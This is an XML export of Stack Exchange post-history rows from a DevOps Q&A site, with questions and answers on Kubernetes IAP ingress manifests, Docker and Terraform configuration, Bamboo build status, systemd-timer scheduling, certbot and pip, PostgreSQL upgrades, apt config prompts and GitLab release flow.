  <row Id="15451" PostHistoryTypeId="2" PostId="4898" RevisionGUID="fc9aecb5-6669-4a09-9b2a-7ab05a366f92" CreationDate="2018-09-04T11:23:46.157" UserId="8189" Text="Okay, I managed to make it work perfectly. But it took a few steps. I am including the manifest here that is required to setup the [IAP][1] [using an ingress][2]. It requires a few things which I listed in the manifest below. Hopefully this can help others since I could not find a single source that had all of this put together. Essentially all you need to do is run `kubectl apply -f secure-ingress.yaml` to make everything work (as long as you have all the depenedencies) and then you just need to configure your [IAP][1] as you like it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**`secure-ingress.yaml`**&#xD;&#xA;&#xD;&#xA;    # Configure IAP security using ingress automatically&#xD;&#xA;    # requirements: kubernetes version at least 1.10.5-gke.3&#xD;&#xA;    # requirements: service must respond with 200 at / endpoint (the healthcheck)&#xD;&#xA;    # dependencies: need certificate secret my-secret-cert&#xD;&#xA;    # dependencies: need oath-client secret my-secret-oath (with my.domain.com configured)&#xD;&#xA;    # dependencies: need external IP address my-external-ip&#xD;&#xA;    # dependencies: need domain my.domain.com to point to my-external-ip IP&#xD;&#xA;    # dependencies: need an app (deployment/statefulset) my-app&#xD;&#xA;    apiVersion: extensions/v1beta1&#xD;&#xA;    kind: Ingress&#xD;&#xA;    metadata:&#xD;&#xA;      name: my-secure-ingress&#xD;&#xA;      namespace: default&#xD;&#xA;      annotations:&#xD;&#xA;        kubernetes.io/ingress.class: &quot;gce&quot;&#xD;&#xA;        kubernetes.io/ingress.allow-http: &quot;false&quot;&#xD;&#xA;        kubernetes.io/ingress.global-static-ip-name: my-external-ip&#xD;&#xA;    spec:&#xD;&#xA;      tls:&#xD;&#xA;      - secretName: my-secret-cert&#xD;&#xA;      backend:&#xD;&#xA;        serviceName: my-service-be-web&#xD;&#xA;        servicePort: 1234&#xD;&#xA;    ---&#xD;&#xA;    kind: Service&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    metadata:&#xD;&#xA;      name: my-service-be-web&#xD;&#xA;      namespace: default&#xD;&#xA;      annotations:&#xD;&#xA;        beta.cloud.google.com/backend-config:&#xD;&#xA;          '{&quot;default&quot;: &quot;my-service-be-conf&quot;}'&#xD;&#xA;    spec:&#xD;&#xA;      type: NodePort&#xD;&#xA;      selector:&#xD;&#xA;        app: my-app&#xD;&#xA;      ports:&#xD;&#xA;        - protocol: TCP&#xD;&#xA;          port: 1234&#xD;&#xA;          targetPort: 1234&#xD;&#xA;          name: my-port-web&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: cloud.google.com/v1beta1&#xD;&#xA;    kind: BackendConfig&#xD;&#xA;    metadata:&#xD;&#xA;      name: my-service-be-conf&#xD;&#xA;      namespace: default&#xD;&#xA;    spec:&#xD;&#xA;      iap:&#xD;&#xA;        enabled: true&#xD;&#xA;        oauthclientCredentials:&#xD;&#xA;          secretName: my-secret-oath&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/iap/&#xD;&#xA;  [2]: https://cloud.google.com/iap/docs/enabling-kubernetes-howto" ContentLicense="CC BY-SA 4.0" />
  <row Id="15452" PostHistoryTypeId="50" PostId="4453" RevisionGUID="0b384cc6-c1b0-4210-89b8-e02e3bf126be" CreationDate="2018-09-04T13:01:18.833" UserId="-1" />
  <row Id="15453" PostHistoryTypeId="5" PostId="4897" RevisionGUID="1d7e9058-32bc-4272-9d53-6822672d748f" CreationDate="2018-09-04T13:25:02.347" UserId="9580" Comment="grammar" Text="So let's imagine you have 20 microservices, each in a separate repository. Each microservice needs to be deployed into 5+ environments: dev local, dev cloud, test, staging, prod. Understandably all configuration will be different in each environment. However, you don't need to put it into the Dockerfile - in fact you don't put any configuration into the Dockerfile. Your app gets all required parameters from environment variables, or may be from a config file, if it gets too complex. &#xD;&#xA;&#xD;&#xA;So you would have one Dockerfile per project, and if your developers need to spin it up locally, they will just use docker-compose, which has all environment variables set up, and maybe a config file mounted as volume. In stage envs the configuration will be totally different, but the Docker image will be the same. Your app will need to be able to read this configuration at start up time, and bail out early if something doesn't work.&#xD;&#xA;&#xD;&#xA;Read https://12factor.net/config for some inspiration on how to configure your app.&#xD;&#xA;&#xD;&#xA;Now, provisioning the infrastructure with Terraform would follow the same approach. You would have a generic module which provisions a set of some resources, and it would accept a bunch of parameters which would depend on environment. You can use [workspaces][1] to manage this quite easily.&#xD;&#xA;&#xD;&#xA;As for the last question, large companies solve this with a CI/CD system. This can be Jenkins, or Spinnaker, or any of the other tools, whichever you prefer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/state/workspaces.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="15454" PostHistoryTypeId="50" PostId="4695" RevisionGUID="1d0778a7-cbcd-48cb-849d-ce13abe25e17" CreationDate="2018-09-04T14:01:01.067" UserId="-1" />
  <row Id="15456" PostHistoryTypeId="50" PostId="4560" RevisionGUID="faa53bc8-9590-4419-bd0b-9c81bc1549f9" CreationDate="2018-09-04T16:02:04.563" UserId="-1" />
  <row Id="15457" PostHistoryTypeId="2" PostId="4900" RevisionGUID="7c168fba-8a77-4b47-8c69-bf81c043825a" CreationDate="2018-09-04T16:04:59.057" UserId="9586" Text="I'm currently building out a radiator screen to bridge a few different areas of our CI\CD pipeline, pulling in metrics as well as build statuses. We're also migrating from Jenkins to Bamboo&#xD;&#xA;&#xD;&#xA;In Jenkins, when you do a rest call to the ***job/api/json*** it, one of the response fields is a color, which acts as an initial health. Great for colour coding, especially when things go red!&#xD;&#xA;&#xD;&#xA;However, as far as I can see, there isn't a bamboo equivalent. The two calls I'm using so far in bamboo are&#xD;&#xA;&#xD;&#xA;    /result/{projectKey}-{buildKey}/{buildNumber : ([0-9]+)|(latest)}&#xD;&#xA;    &#xD;&#xA;    /result/status/{projectKey}-{buildKey}-{buildNumber : ([0-9]+)}&#xD;&#xA;&#xD;&#xA;Any clues or pointers as to where I can get the info from?&#xD;&#xA;&#xD;&#xA;p.s. Writing this app in React \ Node" ContentLicense="CC BY-SA 4.0" />
  <row Id="15458" PostHistoryTypeId="1" PostId="4900" RevisionGUID="7c168fba-8a77-4b47-8c69-bf81c043825a" CreationDate="2018-09-04T16:04:59.057" UserId="9586" Text="Bamboo equivalent to Jenkins color" ContentLicense="CC BY-SA 4.0" />
  <row Id="15459" PostHistoryTypeId="3" PostId="4900" RevisionGUID="7c168fba-8a77-4b47-8c69-bf81c043825a" CreationDate="2018-09-04T16:04:59.057" UserId="9586" Text="&lt;jenkins&gt;&lt;bamboo&gt;&lt;node.js&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15468" PostHistoryTypeId="2" PostId="4903" RevisionGUID="ebd6fa14-a68a-402d-95d2-710c9b8325fa" CreationDate="2018-09-04T17:45:17.567" UserId="4328" Text="Bamboo doesn't have a color status like Jenkins per say, but it does have a very similar [build status][1] indicated by a circle with a symbol within it. This status is available for both the entire build plan and for an individual build. &#xD;&#xA;&#xD;&#xA;[![Bamboo Build Status][3]][3]&#xD;&#xA;&#xD;&#xA;For your GET request, you will want to use the same [api calls][2] that you are using to get the *buildstate* value to get a SUCCESSFUL or FAILED state. &#xD;&#xA;&#xD;&#xA;  [1]: https://confluence.atlassian.com/bamboo/using-the-bamboo-dashboard-289277289.html&#xD;&#xA;  [2]: https://docs.atlassian.com/atlassian-bamboo/REST/6.6.2/#d2e289&#xD;&#xA;  [3]: https://i.stack.imgur.com/tCqtn.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="15469" PostHistoryTypeId="2" PostId="4904" RevisionGUID="92508b83-f7fd-435b-9adc-05f5b007e8b4" CreationDate="2018-09-04T20:37:57.640" UserId="9107" Text="I have an interesting question related to scheduling my Docker Container. &#xD;&#xA;&#xD;&#xA;I have a virtual machine with a docker image inside of it. I can spin up a container from the image that has an entrypoint (jar). &#xD;&#xA;&#xD;&#xA;I am in a dilemna on how I should schedule the jobs to run against the jar. &#xD;&#xA;&#xD;&#xA;Here are my 2 options:  &#xD;&#xA;&#xD;&#xA;1) If I run a cron on the VM then I can call the docker run commands to produce a container and run different jobs against the jar. The issue here is that once a single job is run, the container automatically terminates and the second job has no previous histroy of the previously run jobs. I believe theres a way to keep a container running forever with an entry point but I haven't explored/tested this yet. &#xD;&#xA;&#xD;&#xA;2) I can install a cron inside of the container and through the Dockerfile provide the cron for updating - however, the issue here is how would I launch the container and keep it running for the cron jobs to run? &#xD;&#xA;&#xD;&#xA;If you need any further details please do let me know. &#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15470" PostHistoryTypeId="1" PostId="4904" RevisionGUID="92508b83-f7fd-435b-9adc-05f5b007e8b4" CreationDate="2018-09-04T20:37:57.640" UserId="9107" Text="Scheduling a Docker Container or Installing Scheduler in Container" ContentLicense="CC BY-SA 4.0" />
  <row Id="15471" PostHistoryTypeId="3" PostId="4904" RevisionGUID="92508b83-f7fd-435b-9adc-05f5b007e8b4" CreationDate="2018-09-04T20:37:57.640" UserId="9107" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15472" PostHistoryTypeId="50" PostId="3575" RevisionGUID="fb901d25-6a14-46a8-bc1a-6ded6bb1d3d0" CreationDate="2018-09-04T22:01:42.633" UserId="-1" />
  <row Id="15473" PostHistoryTypeId="2" PostId="4905" RevisionGUID="3c6ea143-bb4b-4c61-8cc6-f2cb1cb9e9cf" CreationDate="2018-09-05T02:02:58.703" UserId="7142" Text="First run&#xD;&#xA;&#xD;&#xA;    # type certbot&#xD;&#xA;    certbot is hashed (/usr/bin/certbot)&#xD;&#xA;&#xD;&#xA;To find out where `certbot` is installed to. Or `command -v certbot` if you prefer.&#xD;&#xA;&#xD;&#xA;Then run `head /usr/bin/certbot` and note what version of Python it's using:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/python3&#xD;&#xA;&#xD;&#xA;In my case, it was using Python 3.&#xD;&#xA;&#xD;&#xA;I noticed from my pip output it was trying to install a Python 2.7 package:&#xD;&#xA;&#xD;&#xA;    # pip install certbot-dns-digitalocean&#xD;&#xA;    Requirement already satisfied: certbot-dns-digitalocean in /usr/local/lib/python2.7/dist-packages&#xD;&#xA;&#xD;&#xA;So how do we get pip to install Python 3 packages instead? Just copy the instructions from [here](https://stackoverflow.com/a/11272201/65387):&#xD;&#xA;&#xD;&#xA;    cd /tmp&#xD;&#xA;    curl -O https://bootstrap.pypa.io/get-pip.py&#xD;&#xA;    python3 get-pip.py&#xD;&#xA;    rm get-pip.py&#xD;&#xA;&#xD;&#xA;Now you should have the `pip3` command, so run this instead:&#xD;&#xA;&#xD;&#xA;    pip3 install certbot-dns-digitalocean&#xD;&#xA;&#xD;&#xA;And now try again:&#xD;&#xA;&#xD;&#xA;    # certbot plugins&#xD;&#xA;    Saving debug log to /var/log/letsencrypt/letsencrypt.log&#xD;&#xA;    &#xD;&#xA;    -------------------------------------------------------------------------------&#xD;&#xA;    * dns-digitalocean&#xD;&#xA;    Description: Obtain certs using a DNS TXT record (if you are using DigitalOcean&#xD;&#xA;    for DNS).&#xD;&#xA;    Interfaces: IAuthenticator, IPlugin&#xD;&#xA;    Entry point: dns-digitalocean =&#xD;&#xA;    certbot_dns_digitalocean.dns_digitalocean:Authenticator" ContentLicense="CC BY-SA 4.0" />
  <row Id="15475" PostHistoryTypeId="2" PostId="4906" RevisionGUID="33f1e212-151a-4296-a9be-1e622934bca8" CreationDate="2018-09-05T14:00:44.517" UserId="9602" Text="I'm using **helm** charts with **kubernetes** and I'm trying to deploy High Availability Postgresql database and found this [article][1] mentioning three project that provide HA Postgresql:&#xD;&#xA;&#xD;&#xA;**1- [Stolon][2]**&#xD;&#xA;&#xD;&#xA;**2- [CrunchyData][3]**&#xD;&#xA;&#xD;&#xA;**3- Patroni** &#xD;&#xA;&#xD;&#xA;I didn't find helm chart example for Patroni, but I installed both helm charts for Stolon and Crunchy. However, I wasn't able to find the differences between them except in the structure, both use statefulset from kubernetes in order to deploy master service and a number of replicas(ReadOnly slaves),stolon has this proxy service that points to the master service which is like an extra layer, makes the stolon look a little more complex than crunchy.&#xD;&#xA;&#xD;&#xA;But what I really need to know is:&#xD;&#xA;&#xD;&#xA; 1. How the replicas will synchronize with the master? synchronous or   &#xD;&#xA;    asynchronous.&#xD;&#xA; 2. Whats the failover mechanism provided if any?&#xD;&#xA; 3. persistence volumes why is there a volume per pod? How is this&#xD;&#xA;    related to the replication?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://blog.lwolf.org/post/how-to-deploy-ha-postgressql-cluster-on-kubernetes/&#xD;&#xA;  [2]: https://github.com/sorintlab/stolon&#xD;&#xA;  [3]: https://github.com/CrunchyData/crunchy-containers" ContentLicense="CC BY-SA 4.0" />
  <row Id="15476" PostHistoryTypeId="1" PostId="4906" RevisionGUID="33f1e212-151a-4296-a9be-1e622934bca8" CreationDate="2018-09-05T14:00:44.517" UserId="9602" Text="Stolon vs CrunchyData for HA Postgresql" ContentLicense="CC BY-SA 4.0" />
  <row Id="15477" PostHistoryTypeId="3" PostId="4906" RevisionGUID="33f1e212-151a-4296-a9be-1e622934bca8" CreationDate="2018-09-05T14:00:44.517" UserId="9602" Text="&lt;kubernetes&gt;&lt;helm&gt;&lt;postgresql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15478" PostHistoryTypeId="50" PostId="4680" RevisionGUID="7bdc934c-076a-4671-bac1-aaa1247573da" CreationDate="2018-09-05T14:01:20.160" UserId="-1" />
  <row Id="15481" PostHistoryTypeId="2" PostId="4907" RevisionGUID="97063e56-c4bd-4c40-90c6-a007d1e8d7a0" CreationDate="2018-09-05T14:19:38.377" UserDisplayName="user8517" Text="I am working on testing a method for postgres 9.3 to 10 upgrade. I currently am at the dry run phase and ran into a few issues. The current blocking one is `lc_collate values for database &quot;postgres&quot; do not match:  old &quot;C.UTF-8&quot;, new &quot;en_US.UTF-8&quot;`, I get this when I run the below command:&#xD;&#xA;&#xD;&#xA;    time ${PGBINNEW}/pg_upgrade --old-bindir=${PGBINOLD} --new-bindir=${PGBINNEW} --old-datadir=${PGDATAOLD} --new-datadir=${PGDATANEW} --old-port=${PGPORT} --new-port=$5433 --jobs=$(nproc | awk '{ {print ($1 &gt; 4) ? 4 : ($1 == 1 ? 1 : $1 - 1)} }') --link --username=postgres --check&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any ideas on what might be happening here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15482" PostHistoryTypeId="1" PostId="4907" RevisionGUID="97063e56-c4bd-4c40-90c6-a007d1e8d7a0" CreationDate="2018-09-05T14:19:38.377" UserDisplayName="user8517" Text="lc_collate values for database &quot;postgres&quot; do not match: old &quot;C.UTF-8&quot;, new &quot;en_US.UTF-8&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15483" PostHistoryTypeId="3" PostId="4907" RevisionGUID="97063e56-c4bd-4c40-90c6-a007d1e8d7a0" CreationDate="2018-09-05T14:19:38.377" UserDisplayName="user8517" Text="&lt;upgrade&gt;&lt;postgresql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15484" PostHistoryTypeId="50" PostId="4660" RevisionGUID="fd739691-c688-4a14-83ed-7c10c81521d0" CreationDate="2018-09-05T15:00:56.340" UserId="-1" />
  <row Id="15485" PostHistoryTypeId="2" PostId="4908" RevisionGUID="a71cb2d2-8174-4f6e-990f-aafdb7fc07b0" CreationDate="2018-09-05T15:18:19.583" UserDisplayName="user8517" Text="I solved this thanks to Reddit post. It was fairly simple when combined with another part of my testing.&#xD;&#xA;&#xD;&#xA;I used the code `{PGBINNEW}/initdb --pgdata=&quot;$PGDATANEW&quot; --encoding=UTF8 --no-locale` to reinit the DB AFTER I did the below command:&#xD;&#xA;&#xD;&#xA;    sudo rm -rf ${PGBASEDIR}/data10&#xD;&#xA;&#xD;&#xA;What happened was I cleared the old DB init config and then put in the config I needed without the localization of the database" ContentLicense="CC BY-SA 4.0" />
  <row Id="15489" PostHistoryTypeId="2" PostId="4910" RevisionGUID="512d5f08-3f7c-4577-b401-1fdd47e4309a" CreationDate="2018-09-05T19:12:18.877" UserId="9609" Text="You don't need cron. Most server OS-es (CoreOS, RedHat, CentOS, Ubuntu, etc.) these days run [systemd][1], and systemd unit files can run your container to execute the job, for example:&#xD;&#xA;&#xD;&#xA;Two unit files. One is mytimedstuff.service and mytimedstuff.timer. The .timer defines when the service should be executed.&#xD;&#xA;&#xD;&#xA;In mytimedstuff.service&#xD;&#xA;&#xD;&#xA;    [Unit]&#xD;&#xA;    Description=Executes mystuff&#xD;&#xA;    After=default.target docker_network_apps.service&#xD;&#xA;    Requires=default.target docker_network_apps.service&#xD;&#xA;    &#xD;&#xA;    [Service]&#xD;&#xA;    Type=oneshot&#xD;&#xA;    User=root&#xD;&#xA;    ExecStartPre=/usr/bin/docker pull mystuff:stable&#xD;&#xA;    ExecStartPre=-/bin/bash -c &quot;/usr/bin/docker rm -f mystuffcontainer 2&gt;/dev/null&quot;&#xD;&#xA;    ExecStart=/bin/bash -c &quot;/usr/bin/docker run --name mystuffcontainer mystuff:stable mystuff&quot;&#xD;&#xA;&#xD;&#xA;In mytimedstuff.timer:&#xD;&#xA;&#xD;&#xA;    [Unit]&#xD;&#xA;    Description=My stuff runs at 00:10 sharp.&#xD;&#xA;    &#xD;&#xA;    [Timer]&#xD;&#xA;    OnCalendar=00:10:00&#xD;&#xA;    &#xD;&#xA;    [Install]&#xD;&#xA;    WantedBy=multi-user.target&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://freedesktop.org/wiki/Software/systemd/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15490" PostHistoryTypeId="2" PostId="4911" RevisionGUID="31530bee-cfaa-47f9-bdf0-5ac11ebdbf10" CreationDate="2018-09-05T20:13:00.813" UserId="9612" Text="From the git documentation around the command 'git rev-list': &#xD;&#xA;&#xD;&#xA;**git rev-list A...B**&#xD;&#xA;&#xD;&#xA;Try your command syntax like the above (i.e. origin/master...origin/${currentBranch}) " ContentLicense="CC BY-SA 4.0" />
  <row Id="15491" PostHistoryTypeId="2" PostId="4912" RevisionGUID="3c6244ff-1739-4df3-8b51-09c436e1a6f1" CreationDate="2018-09-05T23:33:11.613" UserId="6131" Text="When performing and `apt-get update; apt-get upgrade -y` on a server I encountered the message:&#xD;&#xA;&#xD;&#xA;    Setting up sudo (1.8.16-0ubuntu1.5) ...&#xD;&#xA;&#xD;&#xA;    Configuration file '/etc/sudoers'&#xD;&#xA;    ==&gt; Modified (by you or by a script) since installation.&#xD;&#xA;    ==&gt; Package distributor has shipped an updated version.&#xD;&#xA;    What would you like to do about it ?  Your options are:&#xD;&#xA;        Y or I  : install the package maintainer's version&#xD;&#xA;        N or O  : keep your currently-installed version&#xD;&#xA;          D     : show the differences between the versions&#xD;&#xA;          Z     : start a shell to examine the situation&#xD;&#xA;    The default action is to keep your current version.&#xD;&#xA;    *** sudoers (Y/I/N/O/D/Z) [default=N] ?&#xD;&#xA;    Setting up ubuntu-minimal (1.361.1) ...&#xD;&#xA;&#xD;&#xA;I know that `debconf` can be used to configure packages, like MySQL, to answer questions to prompts.&#xD;&#xA;&#xD;&#xA;Which Linux Program/Module/Function/etc should I use to prepare an answer to this prompt? &#xD;&#xA;&#xD;&#xA;I would really like to know a solution that be performed via Ansilbe if one exists. In addition to a BASH script.&#xD;&#xA;&#xD;&#xA;Please note: ALL my distributions are done via IaC and thus automation is critical." ContentLicense="CC BY-SA 4.0" />
  <row Id="15492" PostHistoryTypeId="1" PostId="4912" RevisionGUID="3c6244ff-1739-4df3-8b51-09c436e1a6f1" CreationDate="2018-09-05T23:33:11.613" UserId="6131" Text="How to confgiure sudoers during upgrade?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15493" PostHistoryTypeId="3" PostId="4912" RevisionGUID="3c6244ff-1739-4df3-8b51-09c436e1a6f1" CreationDate="2018-09-05T23:33:11.613" UserId="6131" Text="&lt;ansible&gt;&lt;linux&gt;&lt;automation&gt;&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15494" PostHistoryTypeId="4" PostId="4912" RevisionGUID="6b89dc7c-458c-4449-ad16-996cb0596efa" CreationDate="2018-09-06T01:57:35.457" UserId="47" Comment="fix typo" Text="How to configure sudoers during upgrade?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15496" PostHistoryTypeId="2" PostId="4913" RevisionGUID="5e204e76-34e6-40ed-b339-3e5a48bfbb08" CreationDate="2018-09-06T03:32:02.133" UserId="9355" Text="I'm using **GitLab CE** with **Maven** project, and try to follow the [Environment branches with GitLab flow][1] and [The 11 Rules of GitLab Flow][2] &#xD;&#xA;&#xD;&#xA;The step for releasing is as the following: - &#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    feature   +---   +---          +---&#xD;&#xA;             /    \ /    \        /    \&#xD;&#xA;    master  + ---- + ---- + ---- + ---- +  &#xD;&#xA;                            \            \&#xD;&#xA;    qa-tmp (chage ver to RC) +---         + --- &#xD;&#xA;                                 \             \&#xD;&#xA;    qa      + ------------------- + ---------- +&#xD;&#xA;                                 (v1.0-RC1)   (v1.1-RC1)&#xD;&#xA;                                  \            \    &#xD;&#xA;    prod-tmp (chage ver to final)  +---         + ---&#xD;&#xA;                                       \             \&#xD;&#xA;    prod    + ------------------------ + ------------ +&#xD;&#xA;                                     (v1.0)         (v1.1)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1. Create a `feature` branch and merge into the `master` so that it is ready to be released&#xD;&#xA;2. Create the `qa-tmp` branch e.g. `release-v1.0-RC1` from `master`&#xD;&#xA;&#xD;&#xA;   2.1 Update the pom version to `1.0-RC1`&#xD;&#xA;&#xD;&#xA;   2.2 Merge the `release-v1.0-RC1` to `qa`&#xD;&#xA;&#xD;&#xA;   2.3 Tag `v1.0-RC1` from merged `qa` branch.&#xD;&#xA;&#xD;&#xA;3. When it pass the QA, create `prod-tmp` branch e.g. `release-v1.0` from tag `v1.0-RC1`&#xD;&#xA;&#xD;&#xA;   3.1 Update the pom version to `1.0`&#xD;&#xA;&#xD;&#xA;   3.2 Merge the `release-v1.0` to prod&#xD;&#xA;&#xD;&#xA;   3.3 Tag `v1.0` from merged `prod` branch&#xD;&#xA;&#xD;&#xA;   3.4 Bump `master` to version `1.1-SNAPSHOT`&#xD;&#xA;&#xD;&#xA;4. Develop the version `1.1-SNAPSHOT` in the features &amp; master when it is ready to be released, repeat the step 2 and 3.&#xD;&#xA;&#xD;&#xA;The trouble is since the `version` is changed during merging the `qa` branch and `prod` branch, when I perform a next release there is a *merge conflict* for the `version` inside the pom. This cause me to resolve this conflict manually.&#xD;&#xA;&#xD;&#xA;I'm not sure if I'm doing something wrong or misunderstanding about the releasing procedure or not. &#xD;&#xA;&#xD;&#xA;Furthermore, do we have any practice to make this releasing to be an automation, e.g. via script? &#xD;&#xA;&#xD;&#xA;Could you please help to advise?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ce/workflow/gitlab_flow.html#environment-branches-with-gitlab-flow&#xD;&#xA;  [2]: https://about.gitlab.com/2016/07/27/the-11-rules-of-gitlab-flow/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15497" PostHistoryTypeId="1" PostId="4913" RevisionGUID="5e204e76-34e6-40ed-b339-3e5a48bfbb08" CreationDate="2018-09-06T03:32:02.133" UserId="9355" Text="What's the practice to perform a releasing with Git?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15498" PostHistoryTypeId="3" PostId="4913" RevisionGUID="5e204e76-34e6-40ed-b339-3e5a48bfbb08" CreationDate="2018-09-06T03:32:02.133" UserId="9355" Text="&lt;git&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15502" PostHistoryTypeId="2" PostId="4915" RevisionGUID="f9abc690-34a3-4dd2-a6bb-6ece232c654b" CreationDate="2018-09-06T06:06:33.760" UserId="9618" Text="I'm using scripts from here. Hope it help.&#xD;&#xA;&#xD;&#xA;https://github.com/sue445/jenkins-backup-script" ContentLicense="CC BY-SA 4.0" />
  <row Id="15503" PostHistoryTypeId="2" PostId="4916" RevisionGUID="2efe1126-0e9f-468e-8c33-350ea70ff47a" CreationDate="2018-09-06T06:26:43.303" UserId="9620" Text="I'm looking for a possibility to create a task and attach it to a backlog-item from the release pipeline in Microsofts TFS/VSTS. So far I couldn't find anything that would make this possible. Has anyone an idea how to accomplish this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15504" PostHistoryTypeId="1" PostId="4916" RevisionGUID="2efe1126-0e9f-468e-8c33-350ea70ff47a" CreationDate="2018-09-06T06:26:43.303" UserId="9620" Text="Creating a task for a backlog item automated in the release pipeline of VSTS" ContentLicense="CC BY-SA 4.0" />
  <row Id="15505" PostHistoryTypeId="3" PostId="4916" RevisionGUID="2efe1126-0e9f-468e-8c33-350ea70ff47a" CreationDate="2018-09-06T06:26:43.303" UserId="9620" Text="&lt;automation&gt;&lt;release-management&gt;&lt;azure-devops&gt;&lt;tfs&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15509" PostHistoryTypeId="2" PostId="4918" RevisionGUID="ac58beaf-400f-4bdf-9e2c-aed6da78bfb5" CreationDate="2018-09-06T07:38:34.267" UserId="9621" Text="&gt; But maybe there is some way.&#xD;&#xA;&#xD;&#xA;Order of termination (or start) as such is not something you can easily define, but you can try a workaround with [Container Lifecycle Events](https://kubernetes.io/docs/tasks/configure-pod-container/attach-handler-lifecycle-event/).&#xD;&#xA;&#xD;&#xA;General idea is that on a `PreStop` handler for proxy container you can check if app container finished working (say localhost:appport is not active or whatever api check you can muster to determine when app pod is down) and then continue with proxy pod shutdown normally." ContentLicense="CC BY-SA 4.0" />
  <row Id="15510" PostHistoryTypeId="2" PostId="4919" RevisionGUID="a3a75f36-140d-46b7-a5eb-77e22cee4c7c" CreationDate="2018-09-06T08:10:59.447" UserId="707" Text="Where do you start in case you need something like a managed Kubernetes solution to setup a multi-tenant orchestration solution on-premises.&#xD;&#xA;&#xD;&#xA;- Any entity with its own container infrastructure has an access to the centrally managed orchestration service&#xD;&#xA;&#xD;&#xA;- Entities **do not see** each other's containers&#xD;&#xA;&#xD;&#xA;Note: if &quot;managed Kubernetes&quot; is kind of reserved term by AWS, maybe better to say &quot;orchestration as a service&quot;?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15511" PostHistoryTypeId="1" PostId="4919" RevisionGUID="a3a75f36-140d-46b7-a5eb-77e22cee4c7c" CreationDate="2018-09-06T08:10:59.447" UserId="707" Text="How to install a private managed Kubernetes on premises?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15512" PostHistoryTypeId="3" PostId="4919" RevisionGUID="a3a75f36-140d-46b7-a5eb-77e22cee4c7c" CreationDate="2018-09-06T08:10:59.447" UserId="707" Text="&lt;kubernetes&gt;&lt;organization&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15513" PostHistoryTypeId="2" PostId="4920" RevisionGUID="704ef0a8-6366-4363-818a-0e3d9b4c89f8" CreationDate="2018-09-06T08:21:46.777" UserId="228" Text="There are options you can pass through apt-get to dpkg that will handle the config choices. We usually do something like:&#xD;&#xA;&#xD;&#xA;`apt-get install -y --no_install_recommends -o Dpkg::Options::='--force-confdef' -o Dpkg::Options::='--force-confold' &lt;package_name&gt;`&#xD;&#xA;&#xD;&#xA;When using ansible you can do:&#xD;&#xA;&#xD;&#xA;      apt:&#xD;&#xA;        pkg: &quot;{{ item }}&quot;&#xD;&#xA;        only_upgrade: yes&#xD;&#xA;        install_recommends: no&#xD;&#xA;        force: yes&#xD;&#xA;        dpkg_options: 'force-confdef,force-confold'&#xD;&#xA;        state: latest&#xD;&#xA;      with_items:&#xD;&#xA;        - &lt;package_name&gt;&#xD;&#xA;&#xD;&#xA;For further details on the ansible **apt** module options look [here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/modules/apt_module.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="15514" PostHistoryTypeId="5" PostId="4347" RevisionGUID="48a2eb4c-bb57-4599-b77a-75fe34a02de5" CreationDate="2018-09-06T09:03:56.930" UserId="9446" Comment="Quote the XML element &quot;executable&quot; so it isn't treated as HTML" Text="We've configured the plugin properly (we're able to invoke acunetix from jenkins although we're having issues getting the report copied into the Jenkins workspace). The issue he might have run into is that you might have more than one jre installed and you have to register the certificate on the keystore JRE that Jenkins is using (you can check which one is being used by jenkins by looking at the &quot;`&lt;executable&gt;`&quot; tag in the `jenkins.xml` config file)&#xD;&#xA;&#xD;&#xA;In a default installation the jre being used by jenkins and its keystore are located inside the jenkins folder: `.\jenkins\jre\bin\keytool` and `.\jenkins\jre\lib\security\cacerts`&#xD;&#xA;&#xD;&#xA;With this configuration, you can verify if the certificate is in the keystore by using the command:&#xD;&#xA;`keytool -list -keystore &quot;jenkins\jre\lib\security\cacerts&quot;`&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15515" PostHistoryTypeId="24" PostId="4347" RevisionGUID="48a2eb4c-bb57-4599-b77a-75fe34a02de5" CreationDate="2018-09-06T09:03:56.930" Comment="Proposed by 9446 approved by 40, 46 edit id of 775" ContentLicense="CC BY-SA 4.0" />
